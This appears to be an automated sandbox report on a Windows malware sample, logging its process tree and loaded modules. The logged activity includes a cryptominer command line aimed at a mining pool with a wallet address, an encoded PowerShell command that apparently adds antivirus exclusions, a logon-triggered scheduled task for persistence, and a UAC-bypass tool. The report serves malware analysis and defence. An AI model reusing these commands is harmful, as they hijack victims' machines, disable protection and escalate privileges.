              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426RNxSSEqcPuv4hwEHkJf7kVHFWs8bprQJpMPxDcRx6RTQxZW7rByiXU4CnMDqrHL4s7VEpMG8Qj77ygdDRvkBU3Ncd1Wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Local\Temp\services64.exe "C:\Users\user\AppData\Local\Temp\services64.exe"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
              Source: C:\Users\user\AppData\Local\Temp\services64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 6012 -ip 6012
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6012 -s 880
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA="Jump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Users\user\AppData\Local\Temp\Cool.exe "C:\Users\user\AppData\Local\Temp\Cool.exe" Jump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe "C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe" Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\Cool.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\cmd.exe "cmd" cmd /c "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\services64.exe C:\Users\user\AppData\Local\Temp\services64.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426RNxSSEqcPuv4hwEHkJf7kVHFWs8bprQJpMPxDcRx6RTQxZW7rByiXU4CnMDqrHL4s7VEpMG8Qj77ygdDRvkBU3Ncd1Wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Local\Temp\services64.exe "C:\Users\user\AppData\Local\Temp\services64.exe" Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"Jump to behavior
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 6012 -ip 6012
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6012 -s 880
              Source: C:\Windows\System32\WerFault.exeProcess created: unknown unknown
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: slc.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeSection loaded: msvcp140.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeSection loaded: cabinet.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeSection loaded: vcruntime140_1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeSection loaded: vcruntime140.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeSection loaded: vcruntime140.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeSection loaded: vcruntime140_1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeSection loaded: vcruntime140.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: napinsp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wshbth.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: nlaapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: winrnr.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\svchost.exeSection loaded: wersvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: windowsperformancerecordercontrol.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: weretw.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: faultrep.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dbghelp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dbgcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wlidsvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: clipc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wtsapi32.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winsta.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: gamestreamingext.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msauserext.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: tbs.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptngc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: devobj.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptnet.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: elscore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: elstrans.dll
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
              Source: GcqJPBLD2Q.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
              Source: GcqJPBLD2Q.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
              Source: GcqJPBLD2Q.exeStatic file information: File size 3598848 > 1048576
              Source: GcqJPBLD2Q.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x36e000
              Source: GcqJPBLD2Q.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
              Source: Binary string: 6C:\Users\user\AppData\Local\Temp\DccwBypassUAC.pdbp^ source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: D:\a\_work\1\s\src\vctools\crt\vcstartup\src\gs\amd64\amdsecgs.asmD:\a\_work\1\s\src\vctools\crt\vcstartup\src\misc\amd64\guard_dispatch.asmD:\a\_work\1\s\src\vctools\crt\vcstartup\src\misc\amd64\guard_xfg_dispatch.asmC:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\DccwBypassUAC\x64\Release\vc143.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: conhost.exe, 0000000E.00000002.2261430529.000001EC46AF1000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb''$GCTL source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp, DccwBypassUAC.exe, 00000005.00000000.2143738262.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp, DccwBypassUAC.exe, 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp
